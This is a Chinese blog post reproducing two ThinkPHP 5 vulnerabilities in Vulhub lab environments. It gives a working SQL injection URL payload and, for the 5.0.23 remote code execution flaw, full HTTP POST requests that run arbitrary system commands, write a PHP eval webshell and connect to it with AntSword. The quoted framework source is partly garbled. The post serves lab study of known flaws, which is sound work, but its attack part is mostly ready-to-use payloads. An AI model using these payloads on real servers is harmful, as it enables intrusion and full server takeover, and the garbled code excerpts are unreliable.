您现在的位置是:首页 >技术杂谈 >Vulhub复现--ThinkPHP框架系列(一)网站首页技术杂谈

Vulhub复现--ThinkPHP框架系列(一)

tzyyyyyy 2023-06-19 09:19:54
简介Vulhub复现--ThinkPHP框架系列(一)

目录

ThinkPHP5 SQL注入漏洞/信息泄露

ThinkPHP5 5.0.23 远程代码执行漏洞


ThinkPHP5 SQL注入漏洞/信息泄露

环境路径:thinkphp/in-sqlinjecttion

启动环境后,根据提示访问

http://192.168.20.158/index.php?ids[]=1$ids[]=2

Exploit

http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

另外还有敏感信息的泄露

漏洞分析

漏洞代码分析

<?php
namespace appindexcontroller;
use appindexmodelUser;
class Index{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
}
}

由上述代码可知,这里用助手函数input定义了参数ids的类型是数组。接着去找where(‘id’, ‘in’, $ids)定义的内容,找到了最核心的方法buildWhere 和 parseWhereItem

protected function parseMhere ($where, $options)
{
    $whereStr =
    $this -> buildWhere($where, $options);
    if (! empty($options['soft_delete '])) {
        list ($field, $condition) = $options['soft_delete'];
        $binds = $this -> query ->getF ieldsBind($optlons);
        $whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' ';
        $whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds);
    }
    return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;
}

接着找到定义’in’的位置

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。

ThinkPHP5 5.0.23 远程代码执行漏洞

环境路径:thinkphp/5.0.23-rce

启动环境时修改一下docker-compose.yml 将版本由3改为2即可正常启动

根据提示访问8080端口

POC

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
​
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

验证POC

id值可以更改为任意linux命令 如ls -a

也可以一句话写马

echo '<?php eval($_POST[a]); ?>' > a.php   

写马

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
​
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[a]); ?>' > a.php   

查看是否成功写入

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
​
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -a

可以看到 一句话木马已经成功写入

蚁剑连接

连接

成功拿下webshell

漏洞原理分析

https://www.cnblogs.com/st404/p/10245844.html

 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。